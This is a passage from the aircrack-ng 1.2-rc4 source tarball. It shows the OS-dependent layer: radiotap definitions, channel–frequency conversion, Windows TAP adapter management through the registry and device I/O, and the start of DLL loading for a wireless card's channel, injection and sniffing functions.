fields/flags, the flags, and * the MCS index. * * IEEE80211_RADIOTAP_AMPDU_STATUS u32, u16, u8, u8 unitlesss * * Contains the AMPDU information for the subframe. */ enum ieee80211_radiotap_type { IEEE80211_RADIOTAP_TSFT = 0, IEEE80211_RADIOTAP_FLAGS = 1, IEEE80211_RADIOTAP_RATE = 2, IEEE80211_RADIOTAP_CHANNEL = 3, IEEE80211_RADIOTAP_FHSS = 4, IEEE80211_RADIOTAP_DBM_ANTSIGNAL = 5, IEEE80211_RADIOTAP_DBM_ANTNOISE = 6, IEEE80211_RADIOTAP_LOCK_QUALITY = 7, IEEE80211_RADIOTAP_TX_ATTENUATION = 8, IEEE80211_RADIOTAP_DB_TX_ATTENUATION = 9, IEEE80211_RADIOTAP_DBM_TX_POWER = 10, IEEE80211_RADIOTAP_ANTENNA = 11, IEEE80211_RADIOTAP_DB_ANTSIGNAL = 12, IEEE80211_RADIOTAP_DB_ANTNOISE = 13, IEEE80211_RADIOTAP_RX_FLAGS = 14, IEEE80211_RADIOTAP_TX_FLAGS = 15, IEEE80211_RADIOTAP_RTS_RETRIES = 16, IEEE80211_RADIOTAP_DATA_RETRIES = 17, IEEE80211_RADIOTAP_MCS = 19, IEEE80211_RADIOTAP_AMPDU_STATUS = 20, /* valid in every it_present bitmap, even vendor namespaces */ IEEE80211_RADIOTAP_RADIOTAP_NAMESPACE = 29, IEEE80211_RADIOTAP_VENDOR_NAMESPACE = 30, IEEE80211_RADIOTAP_EXT = 31 }; /* Channel flags. */ #define IEEE80211_CHAN_TURBO 0x0010 /* Turbo channel */ #define IEEE80211_CHAN_CCK 0x0020 /* CCK channel */ #define IEEE80211_CHAN_OFDM 0x0040 /* OFDM channel */ #define IEEE80211_CHAN_2GHZ 0x0080 /* 2 GHz spectrum channel. */ #define IEEE80211_CHAN_5GHZ 0x0100 /* 5 GHz spectrum channel */ #define IEEE80211_CHAN_PASSIVE 0x0200 /* Only passive scan allowed */ #define IEEE80211_CHAN_DYN 0x0400 /* Dynamic CCK-OFDM channel */ #define IEEE80211_CHAN_GFSK 0x0800 /* GFSK channel (FHSS PHY) */ /* For IEEE80211_RADIOTAP_FLAGS */ #define IEEE80211_RADIOTAP_F_CFP 0x01 /* sent/received * during CFP */ #define IEEE80211_RADIOTAP_F_SHORTPRE 0x02 /* sent/received * with short * preamble */ #define IEEE80211_RADIOTAP_F_WEP 0x04 /* sent/received * with WEP encryption */ #define IEEE80211_RADIOTAP_F_FRAG 0x08 /* sent/received * with fragmentation */ #define IEEE80211_RADIOTAP_F_FCS 0x10 /* frame includes FCS */ #define IEEE80211_RADIOTAP_F_DATAPAD 0x20 /* frame has padding between * 802.11 header and payload * (to 32-bit boundary) */ #define IEEE80211_RADIOTAP_F_BADFCS 0x40 /* frame failed FCS check */ /* For IEEE80211_RADIOTAP_RX_FLAGS */ #define IEEE80211_RADIOTAP_F_RX_BADPLCP 0x0002 /* bad PLCP */ /* For IEEE80211_RADIOTAP_TX_FLAGS */ #define IEEE80211_RADIOTAP_F_TX_FAIL 0x0001 /* failed due to excessive * retries */ #define IEEE80211_RADIOTAP_F_TX_CTS 0x0002 /* used cts 'protection' */ #define IEEE80211_RADIOTAP_F_TX_RTS 0x0004 /* used rts/cts handshake */ /* For IEEE80211_RADIOTAP_AMPDU_STATUS */ #define IEEE80211_RADIOTAP_AMPDU_REPORT_ZEROLEN 0x0001 #define IEEE80211_RADIOTAP_AMPDU_IS_ZEROLEN 0x0002 #define IEEE80211_RADIOTAP_AMPDU_LAST_KNOWN 0x0004 #define IEEE80211_RADIOTAP_AMPDU_IS_LAST 0x0008 #define IEEE80211_RADIOTAP_AMPDU_DELIM_CRC_ERR 0x0010 #define IEEE80211_RADIOTAP_AMPDU_DELIM_CRC_KNOWN 0x0020 /* For IEEE80211_RADIOTAP_MCS */ #define IEEE80211_RADIOTAP_MCS_HAVE_BW 0x01 #define IEEE80211_RADIOTAP_MCS_HAVE_MCS 0x02 #define IEEE80211_RADIOTAP_MCS_HAVE_GI 0x04 #define IEEE80211_RADIOTAP_MCS_HAVE_FMT 0x08 #define IEEE80211_RADIOTAP_MCS_HAVE_FEC 0x10 #define IEEE80211_RADIOTAP_MCS_HAVE_STBC 0x20 #define IEEE80211_RADIOTAP_MCS_HAVE_NESS 0x40 #define IEEE80211_RADIOTAP_MCS_NESS_BIT1 0x80 #define IEEE80211_RADIOTAP_MCS_BW_MASK 0x03 #define IEEE80211_RADIOTAP_MCS_BW_20 0 #define IEEE80211_RADIOTAP_MCS_BW_40 1 #define IEEE80211_RADIOTAP_MCS_BW_20L 2 #define IEEE80211_RADIOTAP_MCS_BW_20U 3 #define IEEE80211_RADIOTAP_MCS_SGI 0x04 #define IEEE80211_RADIOTAP_MCS_FMT_GF 0x08 #define IEEE80211_RADIOTAP_MCS_FEC_LDPC 0x10 #define IEEE80211_RADIOTAP_MCS_STBC_MASK 0x60 #define IEEE80211_RADIOTAP_MCS_STBC_SHIFT 5 #define IEEE80211_RADIOTAP_MCS_STBC_1 1 #define IEEE80211_RADIOTAP_MCS_STBC_2 2 #define IEEE80211_RADIOTAP_MCS_STBC_3 3 #define IEEE80211_RADIOTAP_MCS_NESS_BIT0 0x80 #endif /* IEEE80211_RADIOTAP_H */ aircrack-ng-1.2-rc4/src/osdep/radiotap/Makefile0000644000000000000000000000005611215211035020055 0ustar rootrootall: install: uninstall: clean: rm -f *.o aircrack-ng-1.2-rc4/src/osdep/radiotap/README0000644000000000000000000000015612313371023017302 0ustar rootrootThe files in this directory come from http://www.radiotap.org/ git: http://git.sipsolutions.net/radiotap.git/ aircrack-ng-1.2-rc4/src/osdep/radiotap/COPYING0000644000000000000000000000146412313371023017460 0ustar rootrootCopyright (c) 2007-2009 Andy Green Copyright (c) 2007-2009 Johannes Berg Permission to use, copy, modify, and/or distribute this software for any purpose with or without fee is hereby granted, provided that the above copyright notice and this permission notice appear in all copies. THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. aircrack-ng-1.2-rc4/src/osdep/common.c0000644000000000000000000000556212660207441016270 0ustar rootroot /* * Copyright (c) 2008-2016, Thomas d'Otreppe * * Common OSdep stuff * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include "common.h" /** * Return the frequency in Mhz from a channel number */ int getFrequencyFromChannel(int channel) { static int frequencies[] = { -1, // No channel 0 2412, 2417, 2422, 2427, 2432, 2437, 2442, 2447, 2452, 2457, 2462, 2467, 2472, 2484, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, // Nothing from channel 15 to 34 (exclusive) 5170, 5175, 5180, 5185, 5190, 5195, 5200, 5205, 5210, 5215, 5220, 5225, 5230, 5235, 5240, 5245, 5250, 5255, 5260, 5265, 5270, 5275, 5280, 5285, 5290, 5295, 5300, 5305, 5310, 5315, 5320, 5325, 5330, 5335, 5340, 5345, 5350, 5355, 5360, 5365, 5370, 5375, 5380, 5385, 5390, 5395, 5400, 5405, 5410, 5415, 5420, 5425, 5430, 5435, 5440, 5445, 5450, 5455, 5460, 5465, 5470, 5475, 5480, 5485, 5490, 5495, 5500, 5505, 5510, 5515, 5520, 5525, 5530, 5535, 5540, 5545, 5550, 5555, 5560, 5565, 5570, 5575, 5580, 5585, 5590, 5595, 5600, 5605, 5610, 5615, 5620, 5625, 5630, 5635, 5640, 5645, 5650, 5655, 5660, 5665, 5670, 5675, 5680, 5685, 5690, 5695, 5700, 5705, 5710, 5715, 5720, 5725, 5730, 5735, 5740, 5745, 5750, 5755, 5760, 5765, 5770, 5775, 5780, 5785, 5790, 5795, 5800, 5805, 5810, 5815, 5820, 5825, 5830, 5835, 5840, 5845, 5850, 5855, 5860, 5865, 5870, 5875, 5880, 5885, 5890, 5895, 5900, 5905, 5910, 5915, 5920, 5925, 5930, 5935, 5940, 5945, 5950, 5955, 5960, 5965, 5970, 5975, 5980, 5985, 5990, 5995, 6000, 6005, 6010, 6015, 6020, 6025, 6030, 6035, 6040, 6045, 6050, 6055, 6060, 6065, 6070, 6075, 6080, 6085, 6090, 6095, 6100 }; return (channel > 0 && channel <= HIGHEST_CHANNEL) ? frequencies[channel] : (channel >= LOWEST_CHANNEL && channel <= -4) ? 5000 - (channel * 5) : -1 ; } /** * Return the channel from the frequency (in Mhz) */ int getChannelFromFrequency(int frequency) { if (frequency >= 2412 && frequency <= 2472) return (frequency - 2407) / 5; else if (frequency == 2484) return 14; else if (frequency >= 4920 && frequency <= 6100) return (frequency - 5000) / 5; else return -1; } aircrack-ng-1.2-rc4/src/osdep/cygwin_tap.c0000644000000000000000000003114112567460036017143 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for cygwin. TAP routines * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include "osdep.h" #include #include #include #include #include #include #include #include "network.h" #include "tap-win32/common.h" extern DWORD WINAPI GetAdaptersInfo(PIP_ADAPTER_INFO pAdapterInfo,PULONG pOutBufLen); extern DWORD WINAPI AddIPAddress(IPAddr Address,IPMask IpMask,DWORD IfIndex,PULONG NTEContext,PULONG NTEInstance); extern DWORD WINAPI DeleteIPAddress(ULONG NTEContext); extern int cygwin_read_reader(int fd, int plen, void *dst, int len); static void *ti_reader(void *arg); struct tip_cygwin { char tc_name[MAX_IFACE_NAME]; HANDLE tc_h; pthread_t tc_reader; volatile int tc_running; int tc_pipe[2]; /* reader -> parent */ pthread_mutex_t tc_mtx; HKEY tc_key; char tc_guid[256]; }; /** * Stop the reader thread (if it is running) * @return 0 if stopped or -1 if it failed to stop it */ static int stop_reader(struct tip_cygwin *priv) { if (priv->tc_running == 1) { int tries = 3; priv->tc_running = 0; while ((priv->tc_running != -1) && tries--) sleep(1); if (tries <= 0) return -1; } return 0; } /** * Start reader thread * @return -1 if failed to start thread or 0 if it is successful */ static int start_reader(struct tip_cygwin *priv) { priv->tc_running = 2; if (pthread_create(&priv->tc_reader, NULL, ti_reader, priv)) return -1; priv->tc_running = 1; return 0; } /** * Change status (enable/disable) of the device */ static int ti_media_status(struct tip_cygwin *priv, int on) { ULONG s = on; DWORD len; if (!DeviceIoControl(priv->tc_h, TAP_IOCTL_SET_MEDIA_STATUS, &s, sizeof(s), &s, sizeof(s), &len, NULL)) return -1; return 0; } /** * Try opening device */ static int ti_try_open(struct tip_cygwin *priv, char *guid) { int any = priv->tc_guid[0] == 0; char device[256]; HANDLE h; if (!any && strcmp(priv->tc_guid, guid) != 0) return 0; /* open the device */ snprintf(device, sizeof(device), "%s%s%s", USERMODEDEVICEDIR, guid, TAPSUFFIX); h = CreateFile(device, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_SYSTEM | FILE_FLAG_OVERLAPPED, 0); if (h == INVALID_HANDLE_VALUE) { if (any) return 0; else return -1; } priv->tc_h = h; /* XXX check tap version */ /* bring iface up */ if (ti_media_status(priv, 1) == -1) return -1; /* XXX grab printable name */ snprintf(priv->tc_name, sizeof(priv->tc_name)-1, "%s", guid); if (any) snprintf(priv->tc_guid, sizeof(priv->tc_guid), "%s", guid); return 1; } /** * Read registry value * @param key Registry key * @return 0 if successful, -1 if it failed */ static int ti_read_reg(struct tip_cygwin *priv, char *key, char *res, int len) { DWORD dt, l = len; if (RegQueryValueEx(priv->tc_key, key, NULL, &dt, (unsigned char*) res, &l) != ERROR_SUCCESS) return -1; if (dt != REG_SZ) return -1; if ((int)l > len) return -1; return 0; } static int ti_get_devs_component(struct tip_cygwin *priv, char *name) { char key[256]; int rc = 0; snprintf(key, sizeof(key)-1, "%s\\%s", ADAPTER_KEY, name); if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, key, 0, KEY_READ | KEY_WRITE, &priv->tc_key) != ERROR_SUCCESS) return -1; if (ti_read_reg(priv, "ComponentId", key, sizeof(key)) == -1) goto out; /* make sure component id matches */ if (strcmp(key, TAP_COMPONENT_ID) != 0) goto out; /* get guid */ if (ti_read_reg(priv, "NetCfgInstanceId", key, sizeof(key)) == -1) goto out; rc = ti_try_open(priv, key); out: if (rc != 1) { RegCloseKey(priv->tc_key); priv->tc_key = 0; } return rc; } static int ti_do_open_cygwin(struct tip_cygwin *priv) { int rc = -1; HKEY ak47; int i; char name[256]; DWORD len; /* open network driver key */ if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, ADAPTER_KEY, 0, KEY_READ, &ak47) != ERROR_SUCCESS) return -1; /* find tap */ for (i = 0;; i++) { len = sizeof(name); if (RegEnumKeyEx(ak47, i, name, &len, NULL, NULL, NULL, NULL) != ERROR_SUCCESS) break; rc = ti_get_devs_component(priv, name); if (rc) break; rc = -1; } RegCloseKey(ak47); if (rc == 1) rc = 0; return rc; } static void ti_do_free(struct tif *ti) { struct tip_cygwin *priv = ti_priv(ti); /* stop reader */ stop_reader(priv); if (priv->tc_pipe[0]) { close(priv->tc_pipe[0]); close(priv->tc_pipe[1]); } /* close card */ if (priv->tc_h) { ti_media_status(priv, 0); CloseHandle(priv->tc_h); } if (priv->tc_key) RegCloseKey(priv->tc_key); free(priv); free(ti); } static void ti_close_cygwin(struct tif *ti) { ti_do_free(ti); } static char *ti_name_cygwin(struct tif *ti) { struct tip_cygwin *priv = ti_priv(ti); return priv->tc_name; } /* XXX */ static int ti_is_us(struct tip_cygwin *priv, HDEVINFO *hdi, SP_DEVINFO_DATA *did) { char buf[256]; DWORD len = sizeof(buf), dt; if (priv) {} /* XXX unused */ if (!SetupDiGetDeviceRegistryProperty(*hdi, did, SPDRP_DEVICEDESC, &dt, (unsigned char*)buf, len, &len)) return 0; if (dt != REG_SZ) return 0; return strstr(buf, "TAP-Win32") != NULL; } static int ti_reset_state(HDEVINFO *hdi, SP_DEVINFO_DATA *did, DWORD state) { SP_PROPCHANGE_PARAMS parm; parm.ClassInstallHeader.cbSize = sizeof(parm.ClassInstallHeader); parm.ClassInstallHeader.InstallFunction = DIF_PROPERTYCHANGE; parm.Scope = DICS_FLAG_GLOBAL; parm.StateChange = state; if (!SetupDiSetClassInstallParams(*hdi, did, (SP_CLASSINSTALL_HEADER*) &parm, sizeof(parm))) return -1; if (!SetupDiCallClassInstaller(DIF_PROPERTYCHANGE, *hdi, did)) return -1; return 0; } /** * Reset the device * @return 0 if successful, -1 if it failed */ static int ti_do_reset(HDEVINFO *hdi, SP_DEVINFO_DATA *did) { int rc; rc = ti_reset_state(hdi, did, DICS_DISABLE); if (rc) return rc; return ti_reset_state(hdi, did, DICS_ENABLE); } static int ti_restart(struct tip_cygwin *priv) { /* kill handle to if */ if (priv->tc_h) CloseHandle(priv->tc_h); /* stop reader */ if (stop_reader(priv)) return -1; /* reopen dev */ if (ti_do_open_cygwin(priv)) return -1; return start_reader(priv); } static int ti_reset(struct tip_cygwin *priv) { HDEVINFO hdi; SP_DEVINFO_DATA did; int i; int rc = -1; hdi = SetupDiGetClassDevs(&GUID_DEVCLASS_NET, NULL, NULL, DIGCF_PRESENT); if (hdi == INVALID_HANDLE_VALUE) return -1; /* find device */ for (i = 0;; i++) { did.cbSize = sizeof(did); if (!SetupDiEnumDeviceInfo(hdi, i, &did)) break; if (!ti_is_us(priv, &hdi, &did)) continue; rc = ti_do_reset(&hdi, &did); if (rc) break; rc = ti_restart(priv); break; } SetupDiDestroyDeviceInfoList(hdi); return rc; } static int ti_set_mtu_cygwin(struct tif *ti, int mtu) { struct tip_cygwin *priv = ti_priv(ti); char m[16]; char mold[sizeof(m)]; char *key = "MTU"; /* check if reg remains unchanged to avoid reset */ snprintf(m, sizeof(m)-1, "%d", mtu); if (ti_read_reg(priv, key, mold, sizeof(mold)) != -1) { if (strcmp(m, mold) == 0) return 0; } /* change */ if (RegSetValueEx(priv->tc_key, key, 0, REG_SZ, (unsigned char *) m, strlen(m)+1) != ERROR_SUCCESS) return -1; if (ti_reset(priv) == -1) return -1; return 0; } /** * Set device MAC address * @param mac New MAC address * @return -1 if it failed, 0 on success */ static int ti_set_mac_cygwin(struct tif *ti, unsigned char *mac) { struct tip_cygwin *priv = ti_priv(ti); char str[2*6+1]; char strold[sizeof(str)]; int i; char *key = "MAC"; /* convert */ str[0] = 0; for (i = 0; i < 6; i++) { char tmp[3]; if (sprintf(tmp, "%.2X", *mac++) != 2) return -1; strcat(str, tmp); } /* check if changed */ if (ti_read_reg(priv, key, strold, sizeof(strold)) != -1) { if (strcmp(str, strold) == 0) return 0; } /* own */ if (RegSetValueEx(priv->tc_key, key, 0, REG_SZ, (unsigned char *)str, strlen(str)+1) != ERROR_SUCCESS) return -1; if (ti_reset(priv) == -1) return -1; return 0; } /** * Set device IP address * @param ip New IP address * @return -1 if it failed, 0 on success */ static int ti_set_ip_cygwin(struct tif *ti, struct in_addr *ip) { struct tip_cygwin *priv = ti_priv(ti); ULONG ctx, inst; IP_ADAPTER_INFO ai[16]; DWORD len = sizeof(ai); PIP_ADAPTER_INFO p; PIP_ADDR_STRING ips; if (GetAdaptersInfo(ai, &len) != ERROR_SUCCESS) return -1; p = ai; while (p) { if (strcmp(priv->tc_guid, p->AdapterName) != 0) { p = p->Next; continue; } /* delete ips */ ips = &p->IpAddressList; while (ips) { DeleteIPAddress(ips->Context); ips = ips->Next; } /* add ip */ if (AddIPAddress(ip->s_addr, htonl(0xffffff00), p->Index, &ctx, &inst) != NO_ERROR) return -1; break; } return 0; } static int ti_fd_cygwin(struct tif *ti) { struct tip_cygwin *priv = ti_priv(ti); return priv->tc_pipe[0]; } static int ti_read_cygwin(struct tif *ti, void *buf, int len) { struct tip_cygwin *priv = ti_priv(ti); int plen; if (priv->tc_running != 1) return -1; /* read len */ if (net_read_exact(priv->tc_pipe[0], &plen, sizeof(plen)) == -1) return -1; return cygwin_read_reader(priv->tc_pipe[0], plen, buf, len); } static int ti_wait_complete(struct tip_cygwin *priv, OVERLAPPED *o) { DWORD sz; if (!GetOverlappedResult(priv->tc_h, o, &sz, TRUE)) return -1; return sz; } static int ti_do_io(struct tip_cygwin *priv, void *buf, int len, OVERLAPPED *o, int wr) { BOOL rc; DWORD sz; int err; /* setup overlapped */ memset(o, 0, sizeof(*o)); /* do io */ if (wr) rc = WriteFile(priv->tc_h, buf, len, &sz, o); else rc = ReadFile(priv->tc_h, buf, len, &sz, o); /* done */ if (rc) return sz; if ((err = GetLastError()) != ERROR_IO_PENDING) return -1; return 0; /* pending */ } static int ti_do_io_lock(struct tip_cygwin *priv, void *buf, int len, OVERLAPPED *o, int wr) { int rc; if (pthread_mutex_lock(&priv->tc_mtx)) return -1; rc = ti_do_io(priv, buf, len, o, wr); if (pthread_mutex_unlock(&priv->tc_mtx)) return -1; /* done */ if (rc) return rc; return ti_wait_complete(priv, o); } static int ti_write_cygwin(struct tif *ti, void *buf, int len) { struct tip_cygwin *priv = ti_priv(ti); OVERLAPPED o; return ti_do_io_lock(priv, buf, len, &o, 1); } static int ti_read_packet(struct tip_cygwin *priv, void *buf, int len) { OVERLAPPED o; int rc; while (priv->tc_running) { rc = ti_do_io_lock(priv, buf, len, &o, 0); if (rc) return rc; } return -1; } static void *ti_reader(void *arg) { struct tip_cygwin *priv = arg; unsigned char buf[2048]; int len; while (priv->tc_running) { /* read a packet */ if ((len = ti_read_packet(priv, buf, sizeof(buf))) == -1) break; assert(len > 0); /* write it's length */ if (write(priv->tc_pipe[1], &len, sizeof(len)) != sizeof(len)) break; /* write payload */ if (write(priv->tc_pipe[1], buf, len) != len) break; } priv->tc_running = -1; return NULL; } static struct tif *ti_open_cygwin(char *iface) { struct tif *ti; struct tip_cygwin *priv; /* setup ti struct */ ti = ti_alloc(sizeof(*priv)); if (!ti) return NULL; priv = ti_priv(ti); ti->ti_name = ti_name_cygwin; ti->ti_set_mtu = ti_set_mtu_cygwin; ti->ti_close = ti_close_cygwin; ti->ti_fd = ti_fd_cygwin; ti->ti_read = ti_read_cygwin; ti->ti_write = ti_write_cygwin; ti->ti_set_mac = ti_set_mac_cygwin; ti->ti_set_ip = ti_set_ip_cygwin; /* setup iface */ if (iface) snprintf(priv->tc_guid, sizeof(priv->tc_guid), "%s", iface); if (ti_do_open_cygwin(priv) == -1) goto err; /* setup reader */ if (pipe(priv->tc_pipe) == -1) goto err; if (pthread_mutex_init(&priv->tc_mtx, NULL)) goto err; /* launch reader */ if (start_reader(priv)) goto err; return ti; err: ti_do_free(ti); return NULL; } struct tif *ti_open(char *iface) { return ti_open_cygwin(iface); } aircrack-ng-1.2-rc4/src/osdep/common.h0000644000000000000000000000361412660207441016271 0ustar rootroot/* * (c) 2010-2016 Thomas d'Otreppe * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License as * published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and * NON-INFRINGEMENT. See the GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, * MA 02111-1307, USA. * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. If you * do not wish to do so, delete this exception statement from your * version. If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef _OSDEP_COMMON_H_ #define _OSDEP_COMMON_H_ int getFrequencyFromChannel(int channel); int getChannelFromFrequency(int frequency); /* // For later use, because aircrack-ng doesn't compile with MS compilers #if defined(WIN32) || defined(__WIN__) #define ftruncate(a, b) _chsize(a,b) #endif */ #define HIGHEST_CHANNEL 221 #define LOWEST_CHANNEL -16 #endif aircrack-ng-1.2-rc4/src/osdep/tap-win32/0000755000000000000000000000000012660222375016353 5ustar rootrootaircrack-ng-1.2-rc4/src/osdep/tap-win32/common.h0000644000000000000000000000641510761053203020012 0ustar rootroot/* * TAP-Win32 -- A kernel driver to provide virtual tap device functionality * on Windows. Originally derived from the CIPE-Win32 * project by Damion K. Wilson, with extensive modifications by * James Yonan. * * All source code which derives from the CIPE-Win32 project is * Copyright (C) Damion K. Wilson, 2003, and is released under the * GPL version 2 (see below). * * All other source code is Copyright (C) 2002-2005 OpenVPN Solutions LLC, * and is released under the GPL version 2 (see below). * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 * as published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program (see the file COPYING included with this * distribution); if not, write to the Free Software Foundation, Inc., * 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ //=============================================== // This file is included both by OpenVPN and // the TAP-Win32 driver and contains definitions // common to both. //=============================================== //============= // TAP IOCTLs //============= #define TAP_CONTROL_CODE(request,method) \ CTL_CODE (FILE_DEVICE_UNKNOWN, request, method, FILE_ANY_ACCESS) // Present in 8.1 #define TAP_IOCTL_GET_MAC TAP_CONTROL_CODE (1, METHOD_BUFFERED) #define TAP_IOCTL_GET_VERSION TAP_CONTROL_CODE (2, METHOD_BUFFERED) #define TAP_IOCTL_GET_MTU TAP_CONTROL_CODE (3, METHOD_BUFFERED) #define TAP_IOCTL_GET_INFO TAP_CONTROL_CODE (4, METHOD_BUFFERED) #define TAP_IOCTL_CONFIG_POINT_TO_POINT TAP_CONTROL_CODE (5, METHOD_BUFFERED) #define TAP_IOCTL_SET_MEDIA_STATUS TAP_CONTROL_CODE (6, METHOD_BUFFERED) #define TAP_IOCTL_CONFIG_DHCP_MASQ TAP_CONTROL_CODE (7, METHOD_BUFFERED) #define TAP_IOCTL_GET_LOG_LINE TAP_CONTROL_CODE (8, METHOD_BUFFERED) #define TAP_IOCTL_CONFIG_DHCP_SET_OPT TAP_CONTROL_CODE (9, METHOD_BUFFERED) // Added in 8.2 /* obsoletes TAP_IOCTL_CONFIG_POINT_TO_POINT */ #define TAP_IOCTL_CONFIG_TUN TAP_CONTROL_CODE (10, METHOD_BUFFERED) //================= // Registry keys //================= #define ADAPTER_KEY "SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002BE10318}" #define NETWORK_CONNECTIONS_KEY "SYSTEM\\CurrentControlSet\\Control\\Network\\{4D36E972-E325-11CE-BFC1-08002BE10318}" //====================== // Filesystem prefixes //====================== #define USERMODEDEVICEDIR "\\\\.\\Global\\" #define SYSDEVICEDIR "\\Device\\" #define USERDEVICEDIR "\\DosDevices\\Global\\" #define TAPSUFFIX ".tap" //========================================================= // TAP_COMPONENT_ID -- This string defines the TAP driver // type -- different component IDs can reside in the system // simultaneously. //========================================================= #define TAP_COMPONENT_ID "tap0801" aircrack-ng-1.2-rc4/src/osdep/cygwin.c0000644000000000000000000002771512506414643016307 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for cygwin. It relies on an external * DLL to do the actual wifi stuff * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include "osdep.h" #include "network.h" #include "cygwin.h" #ifdef HAVE_AIRPCAP #include "airpcap.h" #endif #define xstr(s) str(s) #define str(s) #s #define DLL_EXTENSION ".dll" struct priv_cygwin { pthread_t pc_reader; volatile int pc_running; int pc_pipe[2]; /* reader -> parent */ int pc_channel; int pc_frequency; struct wif *pc_wi; int pc_did_init; int isAirpcap; int useDll; int (*pc_init)(char *param); int (*pc_set_chan)(int chan); int (*pc_set_freq)(int freq); int (*pc_inject)(void *buf, int len, struct tx_info *ti); int (*pc_sniff)(void *buf, int len, struct rx_info *ri); int (*pc_get_mac)(void *mac); int (*pc_set_mac)(void *mac); void (*pc_close)(void); }; /** * strstr() function case insensitive * @param String C string to be scanned * @param Pattern C string containing the sequence of characters to match * @return Pointer to the first occurrence of Pattern in String, or a null pointer if there Pattern is not part of String. */ char *stristr(const char *String, const char *Pattern) { char *pptr, *sptr, *start; unsigned slen, plen; for (start = (char *)String, pptr = (char *)Pattern, slen = strlen(String), plen = strlen(Pattern); /* while string length not shorter than pattern length */ slen >= plen; start++, slen--) { /* find start of pattern in string */ while (toupper((int)*start) != toupper((int)*Pattern)) { start++; slen--; /* if pattern longer than string */ if (slen < plen) return(NULL); } sptr = start; pptr = (char *)Pattern; while (toupper((int)*sptr) == toupper((int)*pptr)) { sptr++; pptr++; /* if end of pattern then pattern was found */ if ('\0' == *pptr) return (start); } } return(NULL); } /** * Get the different functions for to interact with the device: * - setting monitor mode * - changing channel * - capturing data * - injecting packets * @param iface The interface name */ static int do_cygwin_open(struct wif *wi, char *iface) { struct priv_cygwin *priv = wi_priv(wi); void *lib; char *file; char *parm; int rc = -1; int tempret = 0; if (!iface) return -1; if (strlen(iface) == 0) return -1; priv->useDll = 0; if (stristr(iface, DLL_EXTENSION)) priv->useDll = 1; if (priv->useDll) { file = strdup(iface); if (!file) return -1; parm = strchr(file, '|'); if (parm) *parm++ = 0; /* load lib */ lib = dlopen(file, RTLD_LAZY); if (!lib) goto errdll; priv->pc_init = dlsym(lib, xstr(CYGWIN_DLL_INIT)); priv->pc_set_chan = dlsym(lib, xstr(CYGWIN_DLL_SET_CHAN)); priv->pc_set_freq = dlsym(lib, xstr(CYGWIN_DLL_SET_FREQ)); priv->pc_get_mac = dlsym(lib, xstr(CYGWIN_DLL_GET_MAC)); priv->pc_set_mac = dlsym(lib, xstr(CYGWIN_DLL_SET_MAC)); priv->pc_close = dlsym(lib, xstr(CYGWIN_DLL_CLOSE)); priv->pc_inject = dlsym(lib, xstr(CYGWIN_DLL_INJECT)); priv->pc_sniff = dlsym(lib, 